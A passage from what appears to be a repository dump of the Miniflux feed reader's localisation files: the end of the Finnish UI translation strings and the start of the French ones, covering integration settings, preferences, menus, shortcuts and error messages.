Linkkiin\",\n    \"form.integration.linkding_api_key\": \"Linkding API-avain\",\n    \"form.integration.linkding_bookmark\": \"Merkitse kirjanmerkki lukemattomaksi\",\n    \"form.integration.linkding_endpoint\": \"Linkding API-päätepiste\",\n    \"form.integration.linkding_tags\": \"Linkding-tunnisteet\",\n    \"form.integration.linktaco_activate\": \"Tallenna kirjoituksia LinkTacoon\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API -tunnus\",\n    \"form.integration.linktaco_api_token_hint\": \"Hanki henkilökohtainen pääsytunniste osoitteesta\",\n    \"form.integration.linktaco_org_slug\": \"Organisaation slug\",\n    \"form.integration.linktaco_tags\": \"Tunnisteet (enintään 10, pilkuilla eroteltu)\",\n    \"form.integration.linktaco_tags_hint\": \"Enintään 10 tunnistetta, pilkuilla eroteltuna\",\n    \"form.integration.linktaco_visibility\": \"Näkyvyys\",\n    \"form.integration.linktaco_visibility_public\": \"Julkinen\",\n    \"form.integration.linktaco_visibility_private\": \"Yksityinen\",\n    \"form.integration.linktaco_visibility_hint\": \"Yksityinen näkyvyys vaatii maksullisen LinkTaco-tilin\",\n    \"form.integration.linkwarden_activate\": \"Tallenna artikkelit Linkwardeniin\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API -avain\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwardenin perus-URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden-kokoelman tunnus\",\n    \"form.integration.matrix_bot_activate\": \"Siirrä uudet artikkelit Matrixiin\",\n    \"form.integration.matrix_bot_chat_id\": \"Matrix-huoneen tunnus\",\n    \"form.integration.matrix_bot_password\": \"Matrix-käyttäjän salasana\",\n    \"form.integration.matrix_bot_url\": \"Matrix-palvelimen URL-osoite\",\n    \"form.integration.matrix_bot_user\": \"Matrixin käyttäjätunnus\",\n    \"form.integration.notion_activate\": \"Tallenna merkinnät Notioniin\",\n    \"form.integration.notion_page_id\": \"Notion-sivun tunnus\",\n    \"form.integration.notion_token\": \"Notion-salaisuustunnus\",\n    \"form.integration.ntfy_activate\": \"Lähetä merkinnät ntfy-palveluun\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API -tunnus (valinnainen)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy-kuvakkeen URL (valinnainen)\",\n    \"form.integration.ntfy_internal_links\": \"Käytä sisäisiä linkkejä napsautettaessa (valinnainen)\",\n    \"form.integration.ntfy_password\": \"Ntfy-salasana (valinnainen)\",\n    \"form.integration.ntfy_topic\": \"Ntfy-aihe (oletus jos ei määritetty syötteessä)\",\n    \"form.integration.ntfy_url\": \"Ntfy-URL (valinnainen, oletus ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy-käyttäjätunnus (valinnainen)\",\n    \"form.integration.nunux_keeper_activate\": \"Tallenna artikkelit Nunux Keeperiin\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API-avain\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API-päätepiste\",\n    \"form.integration.omnivore_activate\": \"Tallenna artikkelit Omnivoreiin\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API-avain\",\n    \"form.integration.omnivore_url\": \"Omnivore API-päätepiste\",\n    \"form.integration.pinboard_activate\": \"Tallenna artikkelit Pinboardiin\",\n    \"form.integration.pinboard_bookmark\": \"Merkitse kirjanmerkki lukemattomaksi\",\n    \"form.integration.pinboard_tags\": \"Pinboard-tagit\",\n    \"form.integration.pinboard_token\": \"Pinboard API-tunnus\",\n    \"form.integration.pushover_activate\": \"Lähetä merkinnät Pushoveriin\",\n    \"form.integration.pushover_device\": \"Pushover-laite (valinnainen)\",\n    \"form.integration.pushover_prefix\": \"Pushover-URL:n etuliite (valinnainen)\",\n    \"form.integration.pushover_token\": \"Pushover-sovelluksen API-tunnus\",\n    \"form.integration.pushover_user\": \"Pushover-käyttäjän avain\",\n    \"form.integration.raindrop_activate\": \"Tallenna merkinnät Raindropiin\",\n    \"form.integration.raindrop_collection_id\": \"Kokoelman tunnus\",\n    \"form.integration.raindrop_tags\": \"Tunnisteet (pilkuilla eroteltu)\",\n    \"form.integration.raindrop_token\": \"(Testi) tunnus\",\n    \"form.integration.readeck_activate\": \"Tallenna artikkelit Readeckiin\",\n    \"form.integration.readeck_api_key\": \"Readeck API-avain\",\n    \"form.integration.readeck_endpoint\": \"Readeck API-päätepiste\",\n    \"form.integration.readeck_labels\": \"Readeck-tunnisteet\",\n    \"form.integration.readeck_only_url\": \"Lähetä vain URL-osoite (koko sisällön sijaan)\",\n    \"form.integration.readeck_push_activate\": \"Lähetä uudet merkinnät automaattisesti Readeckiin\",\n    \"form.integration.readwise_activate\": \"Tallenna merkinnät Readwise Readeriin\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader -pääsytunnus\",\n    \"form.integration.readwise_api_key_link\": \"Hanki Readwise-pääsytunnus\",\n    \"form.integration.rssbridge_activate\": \"Tarkista RSS-Bridge tilauksia lisättäessä\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge-todennustunnus\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge-palvelimen URL\",\n    \"form.integration.shaarli_activate\": \"Tallenna artikkelit Shaarliin\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API -salaisuus\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli-osoite\",\n    \"form.integration.shiori_activate\": \"Tallenna artikkelit Shioriin\",\n    \"form.integration.shiori_endpoint\": \"Shiori API -päätepiste\",\n    \"form.integration.shiori_password\": \"Shiori-salasana\",\n    \"form.integration.shiori_username\": \"Shiori-käyttäjätunnus\",\n    \"form.integration.slack_activate\": \"Lähetä merkinnät Slackiin\",\n    \"form.integration.slack_webhook_link\": \"Slack-webhook-linkki\",\n    \"form.integration.telegram_bot_activate\": \"Lähetä uusia artikkeleita Telegram-chatiin\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Poista painikkeet käytöstä\",\n    \"form.integration.telegram_bot_disable_notification\": \"Poista ilmoitukset käytöstä\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Poista sivun esikatselu käytöstä\",\n    \"form.integration.telegram_bot_token\": \"Bot-tunnus\",\n    \"form.integration.telegram_chat_id\": \"Keskustelun tunnus\",\n    \"form.integration.telegram_topic_id\": \"Aiheen tunnus\",\n    \"form.integration.wallabag_activate\": \"Tallenna artikkelit Wallabagiin\",\n    \"form.integration.wallabag_client_id\": \"Wallabag-asiakastunnus\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag-asiakassalaisuus\",\n    \"form.integration.wallabag_endpoint\": \"Wallabagin perus-URL-osoite\",\n    \"form.integration.wallabag_only_url\": \"Lähetä vain URL-osoite (koko sisällön sijaan)\",\n    \"form.integration.wallabag_password\": \"Wallabag-salasana\",\n    \"form.integration.wallabag_username\": \"Wallabag-käyttäjätunnus\",\n    \"form.integration.wallabag_tags\": \"Wallabag-tunnisteet\",\n    \"form.integration.webhook_activate\": \"Ota webhookit käyttöön\",\n    \"form.integration.webhook_secret\": \"Webhookien salaisuus\",\n    \"form.integration.webhook_url\": \"Oletus-webhook-URL\",\n    \"form.prefs.fieldset.application_settings\": \"Sovellusasetukset\",\n    \"form.prefs.fieldset.authentication_settings\": \"Todennusasetukset\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Syötteiden yleisasetukset\",\n    \"form.prefs.fieldset.reader_settings\": \"Lukija-asetukset\",\n    \"form.prefs.help.external_font_hosts\": \"Sallittujen ulkoisten fonttipalvelinten lista välilyönnein eroteltuna. Esimerkiksi: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Lue artikkelit avaamalla ulkoiset linkit\",\n    \"form.prefs.label.categories_sorting_order\": \"Kategorioiden lajittelu\",\n    \"form.prefs.label.cjk_reading_speed\": \"Kiinan, Korean ja Japanin lukunopeus (merkkejä minuutissa)\",\n    \"form.prefs.label.custom_css\": \"Mukautettu CSS\",\n    \"form.prefs.label.custom_js\": \"Mukautettu JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Oletusarvoinen etusivu\",\n    \"form.prefs.label.default_reading_speed\": \"Muiden kielten lukunopeus (sanaa minuutissa)\",\n    \"form.prefs.label.display_mode\": \"Progressive Web App (PWA) -näyttötila\",\n    \"form.prefs.label.entries_per_page\": \"Artikkelia sivulla\",\n    \"form.prefs.label.entry_order\": \"Lajittele sarakkeen mukaan\",\n    \"form.prefs.label.entry_sorting\": \"Lajittelu\",\n    \"form.prefs.label.entry_swipe\": \"Ota syöttöpyyhkäisy käyttöön kosketusnäytöissä\",\n    \"form.prefs.label.external_font_hosts\": \"Ulkoiset fonttipalvelimet\",\n    \"form.prefs.label.gesture_nav\": \"Ele siirtyäksesi merkintöjen välillä\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Ota pikanäppäimet käyttöön\",\n    \"form.prefs.label.language\": \"Kieli\",\n    \"form.prefs.label.mark_read_manually\": \"Merkitse merkinnät luetuiksi manuaalisesti\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Merkitse luetuksi vasta, kun ääni/video on 90%% toistettu\",\n    \"form.prefs.label.mark_read_on_view\": \"Merkitse kohdat automaattisesti luetuiksi, kun niitä tarkastellaan\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Merkitse merkinnät luetuiksi katsottaessa. Ääni/videolle merkitse 90%% toistettuna\",\n    \"form.prefs.label.media_playback_rate\": \"Äänen/videon toistonopeus\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Avaa ulkoiset linkit uuteen välilehteen (lisää target=\\\"_blank\\\" linkkeihin)\",\n    \"form.prefs.label.show_reading_time\": \"Näytä artikkeleiden arvioitu lukuaika\",\n    \"form.prefs.label.theme\": \"Teema\",\n    \"form.prefs.label.timezone\": \"Aikavyöhyke\",\n    \"form.prefs.select.alphabetical\": \"Aakkosjärjestys\",\n    \"form.prefs.select.browser\": \"Selain\",\n    \"form.prefs.select.created_time\": \"Luomisaika\",\n    \"form.prefs.select.fullscreen\": \"Kokoruututila\",\n    \"form.prefs.select.minimal_ui\": \"Minimaalinen\",\n    \"form.prefs.select.none\": \"Ei mitään\",\n    \"form.prefs.select.older_first\": \"Vanhin ensin\",\n    \"form.prefs.select.publish_time\": \"Julkaisuaika\",\n    \"form.prefs.select.recent_first\": \"Uusin ensin\",\n    \"form.prefs.select.standalone\": \"Itsenäinen tila\",\n    \"form.prefs.select.swipe\": \"Pyyhkäise\",\n    \"form.prefs.select.tap\": \"Kaksoisnapauta\",\n    \"form.prefs.select.unread_count\": \"Lukemattomien määrä\",\n    \"form.submit.loading\": \"Ladataan...\",\n    \"form.submit.saving\": \"Tallennetaan...\",\n    \"form.user.label.admin\": \"Ylläpitäjä\",\n    \"form.user.label.confirmation\": \"Salasanan vahvistus\",\n    \"form.user.label.password\": \"Salasana\",\n    \"form.user.label.username\": \"Käyttäjätunnus\",\n    \"menu.about\": \"Tietoja\",\n    \"menu.add_feed\": \"Lisää tilaus\",\n    \"menu.add_user\": \"Lisää käyttäjä\",\n    \"menu.api_keys\": \"API-avaimet\",\n    \"menu.categories\": \"Kategoriat\",\n    \"menu.create_api_key\": \"Luo uusi API-avain\",\n    \"menu.create_category\": \"Luo kategoria\",\n    \"menu.edit_category\": \"Muokkaa\",\n    \"menu.edit_feed\": \"Muokkaa\",\n    \"menu.export\": \"Vie\",\n    \"menu.feed_entries\": \"Artikkelit\",\n    \"menu.feeds\": \"Syötteet\",\n    \"menu.flush_history\": \"Tyhjennä historia\",\n    \"menu.history\": \"Historia\",\n    \"menu.home_page\": \"Etusivu\",\n    \"menu.import\": \"Tuo\",\n    \"menu.integrations\": \"Integraatiot\",\n    \"menu.logout\": \"Kirjaudu ulos\",\n    \"menu.mark_all_as_read\": \"Merkitse kaikki luetuksi\",\n    \"menu.mark_page_as_read\": \"Merkitse tämä sivu luetuksi\",\n    \"menu.preferences\": \"Asetukset\",\n    \"menu.refresh_all_feeds\": \"Päivitä kaikki syötteet taustalla\",\n    \"menu.refresh_feed\": \"Päivitä\",\n    \"menu.search\": \"Haku\",\n    \"menu.sessions\": \"Istunnot\",\n    \"menu.settings\": \"Asetukset\",\n    \"menu.shared_entries\": \"Jaetut artikkelit\",\n    \"menu.show_all_entries\": \"Näytä kaikki artikkelit\",\n    \"menu.show_only_starred_entries\": \"Näytä vain suosikit\",\n    \"menu.show_only_unread_entries\": \"Näytä vain lukemattomat artikkelit\",\n    \"menu.starred\": \"Suosikit\",\n    \"menu.title\": \"Valikko\",\n    \"menu.unread\": \"Lukemattomat\",\n    \"menu.users\": \"Käyttäjät\",\n    \"page.about.author\": \"Tekijä:\",\n    \"page.about.build_date\": \"Valmistuspäivä:\",\n    \"page.about.credits\": \"Kiitokset\",\n    \"page.about.db_usage\": \"Tietokannan koko:\",\n    \"page.about.git_commit\": \"Git-toimite:\",\n    \"page.about.global_config_options\": \"Yleiset asetukset\",\n    \"page.about.go_version\": \"Go-versio:\",\n    \"page.about.license\": \"Lisenssi:\",\n    \"page.about.postgres_version\": \"Postgres-versio:\",\n    \"page.about.title\": \"Tietoja\",\n    \"page.about.version\": \"Versio:\",\n    \"page.add_feed.choose_feed\": \"Valitse tilaus\",\n    \"page.add_feed.label.url\": \"URL-osoite\",\n    \"page.add_feed.legend.advanced_options\": \"Edistyneet asetukset\",\n    \"page.add_feed.no_category\": \"Ei ole ketegoriaa. Sinulla on oltava vähintään yksi ketegoria.\",\n    \"page.add_feed.submit\": \"Etsi tilaus\",\n    \"page.add_feed.title\": \"Uusi tilaus\",\n    \"page.api_keys.never_used\": \"Käyttämätön\",\n    \"page.api_keys.table.actions\": \"Toiminnot\",\n    \"page.api_keys.table.created_at\": \"Luomispäivä\",\n    \"page.api_keys.table.description\": \"Kuvaus\",\n    \"page.api_keys.table.last_used_at\": \"Viimeksi käytetty\",\n    \"page.api_keys.table.token\": \"Tunnus\",\n    \"page.api_keys.title\": \"API-avaimet\",\n    \"page.categories.entries\": \"Artikkelit\",\n    \"page.categories.feed_count\": [\n        \"On %d syöte.\",\n        \"On %d syötettä.\"\n    ],\n    \"page.categories.feeds\": \"Tilaukset\",\n    \"page.categories.no_feed\": \"Ei syötettä.\",\n    \"page.categories.title\": \"Kategoriat\",\n    \"page.categories_count\": [\n        \"%d kategoria\",\n        \"%d kategoriaa\"\n    ],\n    \"page.category_label\": \"Kategoria: %s\",\n    \"page.edit_category.title\": \"Muokkaa kategoria: %s\",\n    \"page.edit_feed.etag_header\": \"ETag-otsikko:\",\n    \"page.edit_feed.last_check\": \"Viimeisin tarkistus:\",\n    \"page.edit_feed.last_modified_header\": \"LastModified-otsikko:\",\n    \"page.edit_feed.last_parsing_error\": \"Viimeisin jäsennysvirhe\",\n    \"page.edit_feed.no_header\": \"Ei mitään\",\n    \"page.edit_feed.title\": \"Muokkaa syöte: %s\",\n    \"page.edit_user.title\": \"Muokkaa käyttäjä: %s\",\n    \"page.entry.attachments\": \"Liitteet\",\n    \"page.feeds.error_count\": [\n        \"%d virhe\",\n        \"%d virhettä\"\n    ],\n    \"page.feeds.last_check\": \"Viimeisin tarkistus:\",\n    \"page.feeds.next_check\": \"Seuraava tarkistus:\",\n    \"page.feeds.read_counter\": \"Luettujen artikkeleiden määrä\",\n    \"page.feeds.title\": \"Syötteet\",\n    \"page.footer.elevator\": \"Takaisin ylös\",\n    \"page.history.title\": \"Historia\",\n    \"page.import.title\": \"Tuo\",\n    \"page.integration.bookmarklet\": \"Sovelluskirjanmerkki\",\n    \"page.integration.bookmarklet.help\": \"Tämä erityinen linkki antaa sinun tilata verkkosivuston suoraan selaimen kirjanmerkillä.\",\n    \"page.integration.bookmarklet.instructions\": \"Vedä ja pudota tämä linkki kirjanmerkkeihisi.\",\n    \"page.integration.bookmarklet.name\": \"Lisää Minifluxiin\",\n    \"page.integration.miniflux_api\": \"Minifluxin API\",\n    \"page.integration.miniflux_api_endpoint\": \"API-päätepiste\",\n    \"page.integration.miniflux_api_password\": \"Salasana\",\n    \"page.integration.miniflux_api_password_value\": \"Tilisi salasana\",\n    \"page.integration.miniflux_api_username\": \"Käyttäjätunnus\",\n    \"page.integrations.title\": \"Integraatiot\",\n    \"page.keyboard_shortcuts.close_modal\": \"Sulje modaalinen valintaikkuna\",\n    \"page.keyboard_shortcuts.download_content\": \"Lataa alkuperäinen sisältö\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Siirry alimpaan kohtaan\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Siirry kategorioihin\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Siirry syötteeseen\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Siirry syötteisiin\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Siirry historiaan\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Siirry seuraavaan kohteeseen\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Siirry seuraavalle sivulle\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Siirry edelliseen kohteeseen\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Siirry edelliselle sivulle\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Aseta painopiste hakukenttään\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Siirry asetuksiin\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Siirry kirjanmerkkeihin\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Siirry alkuun\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Siirry lukemattomiin\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Merkitse nykyinen sivu luetuksi\",\n    \"page.keyboard_shortcuts.open_comments\": \"Avaa kommenttilinkki\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Avaa kommenttilinkki nykyisessä välilehdessä\",\n    \"page.keyboard_shortcuts.open_item\": \"Avaa valittu kohde\",\n    \"page.keyboard_shortcuts.open_original\": \"Avaa alkuperäinen linkki\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Avaa alkuperäinen linkki nykyisessä välilehdessä\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Päivitä kaikki syötteet taustalla\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Poista tämä syöte\",\n    \"page.keyboard_shortcuts.save_article\": \"Tallenna artikkeli\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Vieritä ylös\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Näytä pikanäppäimet\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Toiminnot\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Kohteiden navigointi\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Sivujen navigointi\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Osion navigointi\",\n    \"page.keyboard_shortcuts.title\": \"Pikanäppäimet\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Vaihda kirjanmerkki\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Avaa tai sulje merkinnän liitteet\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Vaihda luettu/lukematon, keskity seuraavaksi\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Vaihda luettu/lukematon, keskity edelliseen\",\n    \"page.login.google_signin\": \"Kirjaudu sisään Googlella\",\n    \"page.login.oidc_signin\": \"Kirjaudu sisään %silla\",\n    \"page.login.title\": \"Kirjaudu sisään\",\n    \"page.login.webauthn_login\": \"Kirjaudu sisään salasanalla\",\n    \"page.login.webauthn_login.error\": \"Ei voida kirjautua sisään salasanalla\",\n    \"page.login.webauthn_login.help\": \"Jos käytät turva-avainta, kirjoita käyttäjätunnus. Passkeytä käyttäessä tämä ei ole tarpeen.\",\n    \"page.new_api_key.title\": \"Uusi API-avain\",\n    \"page.new_category.title\": \"Uusi kategoria\",\n    \"page.new_user.title\": \"Uusi käyttäjä\",\n    \"page.offline.message\": \"Olet offline-tilassa\",\n    \"page.offline.refresh_page\": \"Yritä päivittää sivu\",\n    \"page.offline.title\": \"Offline-tila\",\n    \"page.read_entry_count\": [\n        \"%d luettu merkintä\",\n        \"%d luettua merkintää\"\n    ],\n    \"page.search.title\": \"Hakutulokset\",\n    \"page.sessions.table.actions\": \"Toiminnot\",\n    \"page.sessions.table.current_session\": \"Nykyinen istunto\",\n    \"page.sessions.table.date\": \"Päivämäärä\",\n    \"page.sessions.table.ip\": \"IP-osoite\",\n    \"page.sessions.table.user_agent\": \"Käyttäjäagentti\",\n    \"page.sessions.title\": \"Istunnot\",\n    \"page.settings.link_google_account\": \"Linkitä Google-tilini\",\n    \"page.settings.link_oidc_account\": \"Linkitä %s -tilini\",\n    \"page.settings.title\": \"Asetukset\",\n    \"page.settings.unlink_google_account\": \"Poista Google-tilini linkitys\",\n    \"page.settings.unlink_oidc_account\": \"Poista %s -tilini linkitys\",\n    \"page.settings.webauthn.actions\": \"Toiminnot\",\n    \"page.settings.webauthn.added_on\": \"Lisätty\",\n    \"page.settings.webauthn.delete\": [\n        \"Poista %d salasana\",\n        \"Poista %d salasanaa\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Viimeksi käytetty\",\n    \"page.settings.webauthn.passkey_name\": \"Passkey-nimi\",\n    \"page.settings.webauthn.passkeys\": \"Passkeyt\",\n    \"page.settings.webauthn.register\": \"Rekisteröi salasana\",\n    \"page.settings.webauthn.register.error\": \"Salasanaa ei voi rekisteröidä\",\n    \"page.shared_entries.title\": \"Jaetut artikkelit\",\n    \"page.shared_entries_count\": [\n        \"%d jaettu merkintä\",\n        \"%d jaettua merkintää\"\n    ],\n    \"page.starred.title\": \"Suosikit\",\n    \"page.starred_entry_count\": [\n        \"%d suosikkimerkintä\",\n        \"%d suosikkimerkintää\"\n    ],\n    \"page.total_entry_count\": [\n        \"Yhteensä %d merkintä\",\n        \"Yhteensä %d merkintää\"\n    ],\n    \"page.unread.title\": \"Lukemattomat\",\n    \"page.unread_entry_count\": [\n        \"%d lukematon merkintä\",\n        \"%d lukematonta merkintää\"\n    ],\n    \"page.users.actions\": \"Toiminnot\",\n    \"page.users.admin.no\": \"Ei\",\n    \"page.users.admin.yes\": \"Kyllä\",\n    \"page.users.is_admin\": \"Ylläpitäjä\",\n    \"page.users.last_login\": \"Viimeisin kirjautuminen\",\n    \"page.users.never_logged\": \"Ei koskaan\",\n    \"page.users.title\": \"Käyttäjät\",\n    \"page.users.username\": \"Käyttäjätunnus\",\n    \"page.webauthn_rename.title\": \"Nimeä passkey uudelleen\",\n    \"pagination.first\": \"Ensimmäinen\",\n    \"pagination.last\": \"Viimeinen\",\n    \"pagination.next\": \"Seuraava\",\n    \"pagination.previous\": \"Edellinen\",\n    \"search.label\": \"Haku\",\n    \"search.placeholder\": \"Hae...\",\n    \"search.submit\": \"Hae\",\n    \"skip_to_content\": \"Siirry sisältöön\",\n    \"time_elapsed.days\": [\n        \"%d päivä sitten\",\n        \"%d päivää sitten\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d tunti sitten\",\n        \"%d tuntia sitten\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d minuutti sitten\",\n        \"%d minuuttia sitten\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d kuukausi sitten\",\n        \"%d kuukautta sitten\"\n    ],\n    \"time_elapsed.not_yet\": \"ei vielä\",\n    \"time_elapsed.now\": \"juuri nyt\",\n    \"time_elapsed.weeks\": [\n        \"%d viikko sitten\",\n        \"%d viikkoa sitten\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d vuosi sitten\",\n        \"%d vuotta sitten\"\n    ],\n    \"time_elapsed.yesterday\": \"eilen\",\n    \"tooltip.keyboard_shortcuts\": \"Pikanäppäin: %s\",\n    \"tooltip.logged_user\": \"Kirjautunut %s-käyttäjänä\"\n}\n"
  },
  {
    "path": "internal/locale/translations/fr_FR.json",
    "content": "{\n    \"action.cancel\": \"annuler\",\n    \"action.download\": \"Télécharger\",\n    \"action.edit\": \"Modifier\",\n    \"action.home_screen\": \"Ajouter à l'écran d'accueil\",\n    \"action.import\": \"Importer\",\n    \"action.login\": \"Se connecter\",\n    \"action.or\": \"ou\",\n    \"action.remove\": \"Supprimer\",\n    \"action.remove_feed\": \"Supprimer ce flux\",\n    \"action.save\": \"Sauvegarder\",\n    \"action.subscribe\": \"S'abonner\",\n    \"action.update\": \"Mettre à jour\",\n    \"alert.account_linked\": \"Votre compte externe est maintenant associé !\",\n    \"alert.account_unlinked\": \"Votre compte externe est maintenant dissocié !\",\n    \"alert.background_feed_refresh\": \"Les abonnements sont en cours d'actualisation en arrière-plan. Vous pouvez continuer à naviguer dans l'application.\",\n    \"alert.feed_error\": \"Il y a un problème avec cet abonnement\",\n    \"alert.no_starred\": \"Il n'y a aucun favoris pour le moment.\",\n    \"alert.no_category\": \"Il n'y a aucune catégorie.\",\n    \"alert.no_category_entry\": \"Il n'y a aucun article dans cette catégorie.\",\n    \"alert.no_feed\": \"Vous n'avez aucun abonnement.\",\n    \"alert.no_feed_entry\": \"Il n'y a aucun article pour cet abonnement.\",\n    \"alert.no_feed_in_category\": \"Il n'y a pas d'abonnement pour cette catégorie.\",\n    \"alert.no_history\": \"Il n'y a aucun historique pour le moment.\",\n    \"alert.no_search_result\": \"Il n'y a aucun résultat pour cette recherche.\",\n    \"alert.no_shared_entry\": \"Il n'y a pas d'article partagé.\",\n    \"alert.no_tag_entry\": \"Il n'y a aucun article correspondant à ce tag.\",\n    \"alert.no_unread_entry\": \"Il n'y a rien de nouveau à lire.\",\n    \"alert.no_user\": \"Vous êtes le seul utilisateur.\",\n    \"alert.prefs_saved\": \"Préférences sauvegardées !\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Vous avez déclenché trop d'actualisations de flux. Veuillez attendre %d minute avant de réessayer.\",\n        \"Vous avez déclenché trop d'actualisations de flux. Veuillez attendre %d minutes avant de réessayer.\"\n    ],\n    \"confirm.loading\": \"En cours...\",\n    \"confirm.no\": \"non\",\n    \"confirm.question\": \"Êtes-vous sûr ?\",\n    \"confirm.question.refresh\": \"Voulez-vous forcer le rafraîchissement ?\",\n    \"confirm.yes\": \"oui\",\n    \"enclosure_media_controls.seek\": \"Avancer/Reculer :\",\n    \"enclosure_media_controls.seek.title\": \"Avancer/Reculer de %s seconds\",\n    \"enclosure_media_controls.speed\": \"Vitesse :\",\n    \"enclosure_media_controls.speed.faster\": \"Accélérer\",\n    \"enclosure_media_controls.speed.faster.title\": \"Accélérer de %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Réinitialiser\",\n    \"enclosure_media_controls.speed.reset.title\": \"Réinitialiser la vitesse de lecture à 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Ralentir\",\n    \"enclosure_media_controls.speed.slower.title\": \"Ralentir de %sx\",\n    \"entry.starred.toast.off\": \"Enlevé des favoris\",\n    \"entry.starred.toast.on\": \"Ajouté aux favoris\",\n    \"entry.starred.toggle.off\": \"Enlever favoris\",\n    \"entry.starred.toggle.on\": \"Favoris\",\n    \"entry.comments.label\": \"Commentaires\",\n    \"entry.comments.title\": \"Voir les commentaires\",\n    \"entry.estimated_reading_time\": [\n        \"%d minute de lecture\",\n        \"%d minutes de lecture\"\n    ],\n    \"entry.external_link.label\": \"Lien externe\",\n    \"entry.save.completed\": \"Terminé !\",\n    \"entry.save.label\": \"Sauvegarder\",\n    \"entry.save.title\": \"Sauvegarder cet article\",\n    \"entry.save.toast.completed\": \"Article sauvegardé\",\n    \"entry.scraper.completed\": \"Terminé !\",\n    \"entry.scraper.label\": \"Télécharger\",\n    \"entry.scraper.title\": \"Récupérer le contenu original\",\n    \"entry.share.label\": \"Partager\",\n    \"entry.share.title\": \"Partager cet article\",\n    \"entry.shared_entry.label\": \"Partage\",\n    \"entry.shared_entry.title\": \"Ouvrir le lien public\",\n    \"entry.state.loading\": \"Chargement...\",\n    \"entry.state.saving\": \"Sauvegarde en cours...\",\n    \"entry.status.mark_as_read\": \"Marquer comme lu\",\n    \"entry.status.mark_as_unread\": \"Marquer comme non lu\",\n    \"entry.status.title\": \"Changer le statut de l'entrée\",\n    \"entry.status.toast.read\": \"Marqué comme lu\",\n    \"entry.status.toast.unread\": \"Marqué comme non lu\",\n    \"entry.tags.label\": \"Libellés :\",\n    \"entry.tags.more_tags_label\": [\n        \"Afficher %d libellé supplémentaire\",\n        \"Afficher %d libellés supplémentaires\"\n    ],\n    \"entry.unshare.label\": \"Enlever le partage\",\n    \"error.api_key_already_exists\": \"Cette clé d'API existe déjà.\",\n    \"error.bad_credentials\": \"Mauvais identifiant ou mot de passe.\",\n    \"error.category_already_exists\": \"Cette catégorie existe déjà.\",\n    \"error.category_not_found\": \"Cette catégorie n'existe pas ou n'appartient pas à cet utilisateur.\",\n    \"error.database_error\": \"Erreur de la base de données : %v.\",\n    \"error.different_passwords\": \"Les mots de passe ne sont pas les mêmes.\",\n    \"error.duplicate_fever_username\": \"Il y a déjà quelqu'un d'autre avec le même nom d'utilisateur Fever !\",\n    \"error.duplicate_googlereader_username\": \"Il y a déjà quelqu'un d'autre avec le même nom d'utilisateur Google Reader !\",\n    \"error.duplicate_linked_account\": \"Il y a déjà quelqu'un d'associé avec ce provider !\",\n    \"error.duplicated_feed\": \"Ce flux existe déjà.\",\n    \"error.empty_file\": \"Ce fichier est vide.\",\n    \"error.entries_per_page_invalid\": \"Le nombre d'entrées par page n'est pas valide.\",\n    \"error.feed_already_exists\": \"Ce flux existe déjà.\",\n    \"error.feed_category_not_found\": \"Cette catégorie n'existe pas ou n'appartient pas à cet utilisateur.\",\n    \"error.feed_format_not_detected\": \"Impossible de détecter le format du 